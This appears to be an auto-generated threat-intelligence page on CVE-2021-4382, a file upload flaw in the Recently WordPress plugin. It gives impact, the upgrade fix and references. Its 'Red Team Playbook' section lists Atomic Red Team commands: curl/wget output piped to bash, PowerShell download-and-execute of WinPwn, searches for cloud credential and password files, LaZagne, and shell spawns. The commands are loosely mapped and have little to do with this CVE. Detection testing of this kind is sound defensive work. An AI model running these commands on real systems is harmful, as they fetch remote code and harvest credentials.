CVE-2021-4382
Overview
This vulnerability is an arbitrary file upload flaw caused by inadequate validation of file types within the fetch_external_image() function of the Recently WordPress plugin. The root cause lies in the absence of proper checks on external image URLs, allowing unauthorized file types to be accepted and processed. The affected component is the Recently plugin versions up to and including 3.0.4, specifically its image fetching mechanism.
Vulnerability Description
The Recently plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the fetch_external_image() function in versions up to, and including, 3.0.4. This makes it possible for authenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An authenticated attacker can upload malicious files to the server hosting the WordPress site, potentially enabling remote code execution or further system compromise. This requires at least low-privilege authentication, aligning with the CVSS vector's PR:L (Privileges Required: Low). Successful exploitation may lead to data exposure, website defacement, or full server takeover, impacting confidentiality, integrity, and availability as indicated by the CVSS metrics.
Solution
Users should upgrade the Recently plugin to version 3.0.5 or later, where strict file type validation for external images has been implemented. Detailed patch information and update instructions are available in the WordPress plugin changelog (https://plugins.trac.wordpress.org/changeset/2542693) and the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/f8297149-2de3-4e49-80f9-6ea59dea6bce). No alternative workarounds are recommended by the vendor.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Recently plugin for WordPress stems from inadequate file type validation within the fetch_external_image() function. This oversight allows authenticated users to upload files without proper checks on their types, potentially leading to arbitrary file uploads. Attackers can exploit this weakness by uploading malicious files, such as web shells or scripts, which can be executed on the server. The lack of stringent validation mechanisms means that the system fails to distinguish between safe and harmful file types, creating a significant security gap that can be easily leveraged by malicious actors.
Exploitation of this vulnerability can occur through various attack vectors. An authenticated attacker, who may have legitimate access to the WordPress site, can utilize the upload functionality to introduce harmful files into the server environment. Once these files are uploaded, the attacker can execute them to gain unauthorized access to the system, manipulate data, or even take control of the entire server. Scenarios may include uploading a PHP script that allows remote code execution, leading to further exploitation of the server and potentially compromising sensitive data or other connected systems.
The real-world impact of this vulnerability is substantial, particularly for businesses that rely on WordPress for their online presence. Successful exploitation can lead to data breaches, loss of customer trust, and significant financial repercussions. Organizations may face regulatory penalties if sensitive customer information is exposed due to inadequate security measures. Additionally, the reputation of the business can suffer, resulting in long-term damage that may take years to recover from. The potential for remote code execution means that attackers could also use the compromised server as a launchpad for further attacks, increasing the overall risk to the organization and its stakeholders.
To detect and mitigate this vulnerability, organizations should implement several strategies. Regular security audits and vulnerability assessments can help identify weaknesses in plugins and themes used within WordPress installations. Keeping the Recently plugin and all other components of WordPress up to date is crucial, as updates often include patches for known vulnerabilities. Additionally, employing a web application firewall (WAF) can provide an extra layer of security by filtering out malicious traffic and preventing unauthorized file uploads. Educating users about the risks associated with file uploads and enforcing strict access controls can also help reduce the likelihood of exploitation.
In conclusion, the vulnerability in the Recently plugin highlights the critical importance of robust file type validation in web applications. The potential for arbitrary file uploads poses significant risks to organizations, making it essential for them to adopt proactive security measures. By understanding the technical details, potential attack vectors, and real-world implications, businesses can better prepare themselves to defend against such vulnerabilities and protect their digital assets.
CSURFACE threat intelligence has detected a moderate increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2021-4382, reflecting a growing likelihood of exploitation attempts targeting the Recently WordPress plugin vulnerability. Although no new exploit techniques or proof-of-concept code have surfaced in our telemetry, the upward trend in EPSS suggests heightened attacker interest or preparatory activity in the wild. This shift is significant because it indicates that threat actors may be refining their methods or expanding reconnaissance efforts, potentially leading to more frequent or sophisticated exploitation attempts. For defenders, this evolving risk profile underscores the need for continued vigilance and monitoring, as the vulnerability remains a viable vector for arbitrary file uploads that could facilitate remote code execution. While the overall threat level remains high, the increase in predictive exploitation metrics signals a subtle but important escalation in the threat landscape surrounding this vulnerability.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Recently Project | Recently | All |
cpe:2.3:a:recently_project:recently:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-4382 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/f8297149-2de3-4e49-80f9-6ea59dea6bce?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/2542693 |
| wpscan.com |
GitHub CVE
|
https://wpscan.com/vulnerability/92c3f26a-1a84-459a-874b-07dc83c9f42a |
| acunetix.com |
GitHub CVE
|
https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-recently-multiple-vulnerabilities-3-0-4/ |